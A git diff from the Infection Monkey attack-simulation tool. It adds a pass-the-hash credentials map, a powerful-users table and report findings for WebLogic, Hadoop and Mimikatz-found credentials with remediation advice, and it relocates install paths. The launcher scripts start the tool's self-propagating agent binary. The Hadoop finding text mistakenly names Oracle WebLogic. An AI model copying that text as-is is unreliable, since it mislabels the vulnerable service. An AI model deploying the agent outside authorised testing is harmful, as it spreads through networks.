diff --git a/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js
new file mode 100644
index 000000000..20faafca7
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js
@@ -0,0 +1,58 @@
+import React from 'react';
+import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
+import AuthComponent from '../AuthComponent';
+import {optionsPth, edgeGroupToColorPth, options} from '../map/MapOptions';
+import PreviewPane from "../map/preview-pane/PreviewPane";
+import {Col} from "react-bootstrap";
+import {Link} from 'react-router-dom';
+import {Icon} from 'react-fa';
+import PthPreviewPaneComponent from "../map/preview-pane/PthPreviewPane";
+
+class PassTheHashMapPageComponent extends AuthComponent {
+ constructor(props) {
+ super(props);
+ this.state = {
+ graph: props.graph,
+ selected: null,
+ selectedType: null
+ };
+ }
+
+ events = {
+ select: event => this.selectionChanged(event)
+ };
+
+ selectionChanged(event) {
+ if (event.nodes.length === 1) {
+ let displayedNode = this.state.graph.nodes.find(
+ function (node) {
+ return node['id'] === event.nodes[0];
+ });
+ this.setState({selected: displayedNode, selectedType: 'node'})
+ }
+ else if (event.edges.length === 1) {
+ let displayedEdge = this.state.graph.edges.find(
+ function (edge) {
+ return edge['id'] === event.edges[0];
+ });
+ this.setState({selected: displayedEdge, selectedType: 'edge'});
+ }
+ else {
+ this.setState({selected: null, selectedType: null});
+ }
+ }
+
+ render() {
+ return (
+
+ );
+ }
+}
+
+export default PassTheHashMapPageComponent;
diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
similarity index 78%
rename from monkey_island/cc/ui/src/components/pages/ReportPage.js
rename to monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
index 5bc50cf90..f88df4831 100644
--- a/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -8,6 +8,8 @@ import StolenPasswords from 'components/report-components/StolenPasswords';
import CollapsibleWellComponent from 'components/report-components/CollapsibleWell';
import {Line} from 'rc-progress';
import AuthComponent from '../AuthComponent';
+import PassTheHashMapPageComponent from "./PassTheHashMapPage";
+import StrongUsers from "components/report-components/StrongUsers";
let guardicoreLogoImage = require('../../images/guardicore-logo.png');
let monkeyLogoImage = require('../../images/monkey-icon.svg');
@@ -24,13 +26,19 @@ class ReportPageComponent extends AuthComponent {
CONFICKER: 5,
AZURE: 6,
STOLEN_SSH_KEYS: 7,
- STRUTS2: 8
+ STRUTS2: 8,
+ WEBLOGIC: 9,
+ HADOOP: 10,
+ PTH_CRIT_SERVICES_ACCESS: 11
};
Warning =
{
CROSS_SEGMENT: 0,
- TUNNEL: 1
+ TUNNEL: 1,
+ SHARED_LOCAL_ADMIN: 2,
+ SHARED_PASSWORDS: 3,
+ SHARED_PASSWORDS_DOMAIN: 4
};
constructor(props) {
@@ -46,7 +54,6 @@ class ReportPageComponent extends AuthComponent {
componentDidMount() {
this.updateMonkeysRunning().then(res => this.getReportFromServer(res));
this.updateMapFromServer();
- this.interval = setInterval(this.updateMapFromServer, 1000);
}
componentWillUnmount() {
@@ -326,6 +333,14 @@ class ReportPageComponent extends AuthComponent {
Struts2 servers are vulnerable to remote code execution. (
CVE-2017-5638 ) : null }
+ {this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
+ Oracle WebLogic servers are vulnerable to remote code execution. (
+ CVE-2017-10271 ) : null }
+ {this.state.report.overview.issues[this.Issue.HADOOP] ?
+ Hadoop/Yarn servers are vulnerable to remote code execution. : null }
+ {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
+ Mimikatz found login credentials of a user who has admin access to a server defined as critical. : null }
:
@@ -351,6 +366,10 @@ class ReportPageComponent extends AuthComponent {
communicate. : null}
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
Weak segmentation - Machines were able to communicate over unused ports. : null}
+ {this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
+ Shared local administrator account - Different machines have the same account as a local administrator. : null}
+ {this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
+ Multiple users have the same password : null}
:
@@ -359,6 +378,21 @@ class ReportPageComponent extends AuthComponent {
}
+ { this.state.report.overview.cross_segment_issues.length > 0 ?
+
+
+ Segmentation Issues
+
+
+ The Monkey uncovered the following set of segmentation issues:
+
+ {this.state.report.overview.cross_segment_issues.map(x => this.generateCrossSegmentIssue(x))}
+
+
+
+ :
+ ''
+ }
);
}
@@ -367,11 +401,18 @@ class ReportPageComponent extends AuthComponent {
return (
- Recommendations
+ Domain related recommendations
+
+
+ {this.generateIssues(this.state.report.recommendations.domain_issues)}
+
+
+ Machine related Recommendations
{this.generateIssues(this.state.report.recommendations.issues)}
+
);
}
@@ -420,9 +461,36 @@ class ReportPageComponent extends AuthComponent {
-
+
+ {this.generateReportPthMap()}
+
+
+
+
+
+
+ );
+ }
+
+ generateReportPthMap() {
+ return (
+
+
+ Credentials Map
+
+
+ This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers.
+
+
+ Legend:
+ Access credentials |
+
+
+
);
}
@@ -442,6 +510,27 @@ class ReportPageComponent extends AuthComponent {
return data_array.map(badge_data => {badge_data} );
}
+ generateCrossSegmentIssue(crossSegmentIssue) {
+ return
+ {'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']}
+
+
+ {crossSegmentIssue['issues'].map(x =>
+ x['is_self'] ?
+
+ {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']}
+
+ :
+
+ {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target']
+ + ' using the services: ' + Object.keys(x['services']).join(', ')}
+
+ )}
+
+
+ ;
+ }
+
generateShellshockPathListBadges(paths) {
return paths.map(path => {path} );
}
@@ -647,7 +736,7 @@ class ReportPageComponent extends AuthComponent {
);
}
- generateCrossSegmentIssue(issue) {
+ generateIslandCrossSegmentIssue(issue) {
return (
Segment your network and make sure there is no communication between machines from different segments.
@@ -662,6 +751,57 @@ class ReportPageComponent extends AuthComponent {
);
}
+ generateSharedCredsDomainIssue(issue) {
+ return (
+
+ Some domain users are sharing passwords, this should be fixed by changing passwords.
+
+ These users are sharing access password:
+ {this.generateInfoBadges(issue.shared_with)}.
+
+
+ );
+ }
+
+ generateSharedCredsIssue(issue) {
+ return (
+
+ Some users are sharing passwords, this should be fixed by changing passwords.
+
+ These users are sharing access password:
+ {this.generateInfoBadges(issue.shared_with)}.
+
+
+ );
+ }
+
+ generateSharedLocalAdminsIssue(issue) {
+ return (
+
+ Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing.
+
+ Here is a list of machines which the account {issue.username} is defined as an administrator:
+ {this.generateInfoBadges(issue.shared_machines)}
+
+
+ );
+ }
+
+ generateStrongUsersOnCritIssue(issue) {
+ return (
+
+ This critical machine is open to attacks via strong users with access to it.
+
+ The services: {this.generateInfoBadges(issue.services)} have been found on the machine
+ thus classifying it as a critical machine.
+ These users has access to it:
+ {this.generateInfoBadges(issue.threatening_users)}.
+
+
+ );
+ }
+
generateTunnelIssue(issue) {
return (
@@ -693,6 +833,40 @@ class ReportPageComponent extends AuthComponent {
);
}
+ generateWebLogicIssue(issue) {
+ return (
+
+ Install Oracle
+ critical patch updates. Or change server version. Vulnerable versions are
+ 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
+
+ Oracle WebLogic server at {issue.machine} ({issue.ip_address} ) is vulnerable to remote code execution attack.
+
+ The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware
+ (subcomponent: WLS Security).
+
+
+ );
+ }
+
+ generateHadoopIssue(issue) {
+ return (
+
+ Run Hadoop in secure mode (
+ add Kerberos authentication ).
+
+ Oracle WebLogic server at {issue.machine} ({issue.ip_address} ) is vulnerable to remote code execution attack.
+
+ The attack was made possible due to default Hadoop/Yarn configuration being insecure.
+
+
+ );
+ }
+
generateIssue = (issue) => {
@@ -731,8 +905,20 @@ class ReportPageComponent extends AuthComponent {
case 'conficker':
data = this.generateConfickerIssue(issue);
break;
- case 'cross_segment':
- data = this.generateCrossSegmentIssue(issue);
+ case 'island_cross_segment':
+ data = this.generateIslandCrossSegmentIssue(issue);
+ break;
+ case 'shared_passwords':
+ data = this.generateSharedCredsIssue(issue);
+ break;
+ case 'shared_passwords_domain':
+ data = this.generateSharedCredsDomainIssue(issue);
+ break;
+ case 'shared_admins_domain':
+ data = this.generateSharedLocalAdminsIssue(issue);
+ break;
+ case 'strong_users_on_crit':
+ data = this.generateStrongUsersOnCritIssue(issue);
break;
case 'tunnel':
data = this.generateTunnelIssue(issue);
@@ -743,6 +929,12 @@ class ReportPageComponent extends AuthComponent {
case 'struts2':
data = this.generateStruts2Issue(issue);
break;
+ case 'weblogic':
+ data = this.generateWebLogicIssue(issue);
+ break;
+ case 'hadoop':
+ data = this.generateHadoopIssue(issue);
+ break;
}
return data;
};
diff --git a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
similarity index 100%
rename from monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
rename to monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js
diff --git a/monkey_island/cc/ui/src/components/pages/RunServerPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js
similarity index 100%
rename from monkey_island/cc/ui/src/components/pages/RunServerPage.js
rename to monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js
diff --git a/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js
similarity index 100%
rename from monkey_island/cc/ui/src/components/pages/StartOverPage.js
rename to monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js
diff --git a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js
similarity index 100%
rename from monkey_island/cc/ui/src/components/pages/TelemetryPage.js
rename to monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js
diff --git a/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js
similarity index 100%
rename from monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js
rename to monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js
diff --git a/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js
similarity index 90%
rename from monkey_island/cc/ui/src/components/report-components/BreachedServers.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js
index d8c91f5ca..d23a14c38 100644
--- a/monkey_island/cc/ui/src/components/report-components/BreachedServers.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js
@@ -2,10 +2,7 @@ import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
- if (val.length === 0) {
- return '';
- }
- return val.reduce((total, new_str) => total + ', ' + new_str);
+ return ;
};
const columns = [
diff --git a/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js b/monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js
similarity index 100%
rename from monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js
diff --git a/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js
similarity index 91%
rename from monkey_island/cc/ui/src/components/report-components/ScannedServers.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js
index b598ab537..9b62bbdc5 100644
--- a/monkey_island/cc/ui/src/components/report-components/ScannedServers.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js
@@ -2,10 +2,7 @@ import React from 'react';
import ReactTable from 'react-table'
let renderArray = function(val) {
- if (val.length === 0) {
- return '';
- }
- return val.reduce((total, new_str) => total + ', ' + new_str);
+ return ;
};
const columns = [
diff --git a/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js
similarity index 100%
rename from monkey_island/cc/ui/src/components/report-components/StolenPasswords.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js
new file mode 100644
index 000000000..a8f045479
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js
@@ -0,0 +1,43 @@
+import React from 'react';
+import ReactTable from 'react-table'
+
+let renderArray = function(val) {
+ console.log(val);
+ return ;
+};
+
+const columns = [
+ {
+ Header: 'Powerful Users',
+ columns: [
+ { Header: 'Username', accessor: 'username'},
+ { Header: 'Machines', id: 'machines', accessor: x => renderArray(x.machines)},
+ { Header: 'Services', id: 'services', accessor: x => renderArray(x.services_names)}
+ ]
+ }
+];
+
+const pageSize = 10;
+
+class StrongUsersComponent extends React.Component {
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length;
+ let showPagination = this.props.data.length > pageSize;
+ return (
+
+
+
+ );
+ }
+}
+
+export default StrongUsersComponent;
diff --git a/monkey_island/cc/ui/src/config/README.md b/monkey/monkey_island/cc/ui/src/config/README.md
similarity index 100%
rename from monkey_island/cc/ui/src/config/README.md
rename to monkey/monkey_island/cc/ui/src/config/README.md
diff --git a/monkey_island/cc/ui/src/config/base.js b/monkey/monkey_island/cc/ui/src/config/base.js
similarity index 100%
rename from monkey_island/cc/ui/src/config/base.js
rename to monkey/monkey_island/cc/ui/src/config/base.js
diff --git a/monkey_island/cc/ui/src/config/dev.js b/monkey/monkey_island/cc/ui/src/config/dev.js
similarity index 100%
rename from monkey_island/cc/ui/src/config/dev.js
rename to monkey/monkey_island/cc/ui/src/config/dev.js
diff --git a/monkey_island/cc/ui/src/config/dist.js b/monkey/monkey_island/cc/ui/src/config/dist.js
similarity index 100%
rename from monkey_island/cc/ui/src/config/dist.js
rename to monkey/monkey_island/cc/ui/src/config/dist.js
diff --git a/monkey_island/cc/ui/src/config/test.js b/monkey/monkey_island/cc/ui/src/config/test.js
similarity index 100%
rename from monkey_island/cc/ui/src/config/test.js
rename to monkey/monkey_island/cc/ui/src/config/test.js
diff --git a/monkey_island/cc/ui/src/favicon.ico b/monkey/monkey_island/cc/ui/src/favicon.ico
similarity index 100%
rename from monkey_island/cc/ui/src/favicon.ico
rename to monkey/monkey_island/cc/ui/src/favicon.ico
diff --git a/monkey_island/cc/ui/src/images/guardicore-logo.png b/monkey/monkey_island/cc/ui/src/images/guardicore-logo.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/guardicore-logo.png
rename to monkey/monkey_island/cc/ui/src/images/guardicore-logo.png
diff --git a/monkey_island/cc/ui/src/images/infection-monkey.svg b/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg
similarity index 100%
rename from monkey_island/cc/ui/src/images/infection-monkey.svg
rename to monkey/monkey_island/cc/ui/src/images/infection-monkey.svg
diff --git a/monkey_island/cc/ui/src/images/monkey-icon.svg b/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg
similarity index 100%
rename from monkey_island/cc/ui/src/images/monkey-icon.svg
rename to monkey/monkey_island/cc/ui/src/images/monkey-icon.svg
diff --git a/monkey_island/cc/ui/src/images/nodes/clean_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/clean_linux.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png
diff --git a/monkey_island/cc/ui/src/images/nodes/clean_unknown.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/clean_unknown.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png
diff --git a/monkey_island/cc/ui/src/images/nodes/clean_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/clean_windows.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png
diff --git a/monkey_island/cc/ui/src/images/nodes/exploited_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/exploited_linux.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png
diff --git a/monkey_island/cc/ui/src/images/nodes/exploited_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/exploited_windows.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png
diff --git a/monkey_island/cc/ui/src/images/nodes/island.png b/monkey/monkey_island/cc/ui/src/images/nodes/island.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/island.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/island.png
diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png
diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png
diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png
diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png
diff --git a/monkey_island/cc/ui/src/images/nodes/manual_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/manual_linux.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png
diff --git a/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/manual_linux_running.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png
diff --git a/monkey_island/cc/ui/src/images/nodes/manual_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/manual_windows.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png
diff --git a/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/manual_windows_running.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png
diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/monkey_linux.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png
diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png
diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/monkey_windows.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png
diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png
similarity index 100%
rename from monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png
rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png
diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png b/monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png
new file mode 100644
index 000000000..0348a7f5d
Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/pth/critical.png differ
diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/pth/normal.png b/monkey/monkey_island/cc/ui/src/images/nodes/pth/normal.png
new file mode 100644
index 000000000..3b1e9b638
Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/images/nodes/pth/normal.png differ
diff --git a/monkey_island/cc/ui/src/index.html b/monkey/monkey_island/cc/ui/src/index.html
similarity index 100%
rename from monkey_island/cc/ui/src/index.html
rename to monkey/monkey_island/cc/ui/src/index.html
diff --git a/monkey_island/cc/ui/src/index.js b/monkey/monkey_island/cc/ui/src/index.js
similarity index 100%
rename from monkey_island/cc/ui/src/index.js
rename to monkey/monkey_island/cc/ui/src/index.js
diff --git a/monkey_island/cc/ui/src/server_config/AwsConfig.js b/monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js
similarity index 100%
rename from monkey_island/cc/ui/src/server_config/AwsConfig.js
rename to monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js
diff --git a/monkey_island/cc/ui/src/server_config/BaseConfig.js b/monkey/monkey_island/cc/ui/src/server_config/BaseConfig.js
similarity index 100%
rename from monkey_island/cc/ui/src/server_config/BaseConfig.js
rename to monkey/monkey_island/cc/ui/src/server_config/BaseConfig.js
diff --git a/monkey_island/cc/ui/src/server_config/ServerConfig.js b/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js
similarity index 100%
rename from monkey_island/cc/ui/src/server_config/ServerConfig.js
rename to monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js
diff --git a/monkey_island/cc/ui/src/server_config/StandardConfig.js b/monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js
similarity index 100%
rename from monkey_island/cc/ui/src/server_config/StandardConfig.js
rename to monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js
diff --git a/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js
similarity index 100%
rename from monkey_island/cc/ui/src/services/AuthService.js
rename to monkey/monkey_island/cc/ui/src/services/AuthService.js
diff --git a/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css
similarity index 100%
rename from monkey_island/cc/ui/src/styles/App.css
rename to monkey/monkey_island/cc/ui/src/styles/App.css
diff --git a/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js
similarity index 100%
rename from monkey_island/cc/ui/webpack.config.js
rename to monkey/monkey_island/cc/ui/webpack.config.js
diff --git a/monkey_island/cc/utils.py b/monkey/monkey_island/cc/utils.py
similarity index 100%
rename from monkey_island/cc/utils.py
rename to monkey/monkey_island/cc/utils.py
diff --git a/monkey_island/deb-package/DEBIAN/control b/monkey/monkey_island/deb-package/DEBIAN/control
similarity index 100%
rename from monkey_island/deb-package/DEBIAN/control
rename to monkey/monkey_island/deb-package/DEBIAN/control
diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst
new file mode 100644
index 000000000..b55f791b8
--- /dev/null
+++ b/monkey/monkey_island/deb-package/DEBIAN/postinst
@@ -0,0 +1,34 @@
+#!/bin/bash
+
+MONKEY_FOLDER=/var/monkey
+INSTALLATION_FOLDER=/var/monkey/monkey_island/installation
+PYTHON_FOLDER=/var/monkey/monkey_island/bin/python
+
+# Prepare python virtualenv
+pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER
+virtualenv -p python2.7 ${PYTHON_FOLDER}
+
+# install pip requirements
+${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER
+
+# remove installation folder and unnecessary files
+rm -rf ${INSTALLATION_FOLDER}
+rm -f ${MONKEY_FOLDER}/monkey_island/pip_requirements.txt
+
+cp ${MONKEY_FOLDER}/monkey_island/ubuntu/* /etc/init/
+if [ -d "/etc/systemd/network" ]; then
+ cp ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/*.service /lib/systemd/system/
+ chmod +x ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/start_server.sh
+ systemctl daemon-reload
+ systemctl enable monkey-mongo
+ systemctl enable monkey-island
+fi
+
+${MONKEY_FOLDER}/monkey_island/create_certificate.sh
+
+service monkey-island start
+service monkey-mongo start
+
+echo Monkey Island installation ended
+
+exit 0
\ No newline at end of file
diff --git a/monkey_island/deb-package/DEBIAN/prerm b/monkey/monkey_island/deb-package/DEBIAN/prerm
similarity index 91%
rename from monkey_island/deb-package/DEBIAN/prerm
rename to monkey/monkey_island/deb-package/DEBIAN/prerm
index 98557e487..69070adaf 100644
--- a/monkey_island/deb-package/DEBIAN/prerm
+++ b/monkey/monkey_island/deb-package/DEBIAN/prerm
@@ -8,6 +8,6 @@ rm -f /etc/init/monkey-mongo.conf
[ -f "/lib/systemd/system/monkey-island.service" ] && rm -f /lib/systemd/system/monkey-island.service
[ -f "/lib/systemd/system/monkey-mongo.service" ] && rm -f /lib/systemd/system/monkey-mongo.service
-rm -r -f /var/monkey_island
+rm -r -f /var/monkey
exit 0
\ No newline at end of file
diff --git a/monkey_island/deb-package/monkey_island_pip_requirements.txt b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt
similarity index 100%
rename from monkey_island/deb-package/monkey_island_pip_requirements.txt
rename to monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt
diff --git a/monkey_island/linux/clear_db.sh b/monkey/monkey_island/linux/clear_db.sh
similarity index 73%
rename from monkey_island/linux/clear_db.sh
rename to monkey/monkey_island/linux/clear_db.sh
index d6839ed2a..7ec819cd5 100644
--- a/monkey_island/linux/clear_db.sh
+++ b/monkey/monkey_island/linux/clear_db.sh
@@ -1,6 +1,6 @@
#!/bin/bash
service monkey-mongo stop
-cd /var/monkey_island
+cd /var/monkey/monkey_island
rm -rf ./db/*
service monkey-mongo start
diff --git a/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh
similarity index 90%
rename from monkey_island/linux/create_certificate.sh
rename to monkey/monkey_island/linux/create_certificate.sh
index 32fa9756d..477440a6f 100644
--- a/monkey_island/linux/create_certificate.sh
+++ b/monkey/monkey_island/linux/create_certificate.sh
@@ -1,6 +1,6 @@
#!/bin/bash
-cd /var/monkey_island
+cd /var/monkey/monkey_island
openssl genrsa -out cc/server.key 1024
openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com"
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt
diff --git a/monkey_island/linux/install.sh b/monkey/monkey_island/linux/install.sh
similarity index 77%
rename from monkey_island/linux/install.sh
rename to monkey/monkey_island/linux/install.sh
index f230b58d2..d4ebfedbe 100644
--- a/monkey_island/linux/install.sh
+++ b/monkey/monkey_island/linux/install.sh
@@ -10,5 +10,5 @@ else
fi
MONKEY_FILE=monkey-linux-$ARCH
-cp -f /var/monkey_island/cc/binaries/$MONKEY_FILE /tmp
+cp -f /var/monkey/monkey_island/cc/binaries/$MONKEY_FILE /tmp
/tmp/$MONKEY_FILE m0nk3y $@
diff --git a/monkey_island/linux/monkey.sh b/monkey/monkey_island/linux/monkey.sh
similarity index 77%
rename from monkey_island/linux/monkey.sh
rename to monkey/monkey_island/linux/monkey.sh
index f230b58d2..d4ebfedbe 100644
--- a/monkey_island/linux/monkey.sh
+++ b/monkey/monkey_island/linux/monkey.sh
@@ -10,5 +10,5 @@ else
fi
MONKEY_FILE=monkey-linux-$ARCH
-cp -f /var/monkey_island/cc/binaries/$MONKEY_FILE /tmp
+cp -f /var/monkey/monkey_island/cc/binaries/$MONKEY_FILE /tmp
/tmp/$MONKEY_FILE m0nk3y $@
diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh
new file mode 100644
index 000000000..6770e2922
--- /dev/null
+++ b/monkey/monkey_island/linux/run.sh
@@ -0,0 +1,5 @@
+#!/bin/bash
+
+cd /var/monkey
+/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db &
+/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py
\ No newline at end of file
diff --git a/monkey_island/linux/ubuntu/monkey-island.conf b/monkey/monkey_island/linux/ubuntu/monkey-island.conf
similarity index 76%
rename from monkey_island/linux/ubuntu/monkey-island.conf
rename to monkey/monkey_island/linux/ubuntu/monkey-island.conf
index 360559b31..1ded4d94a 100644
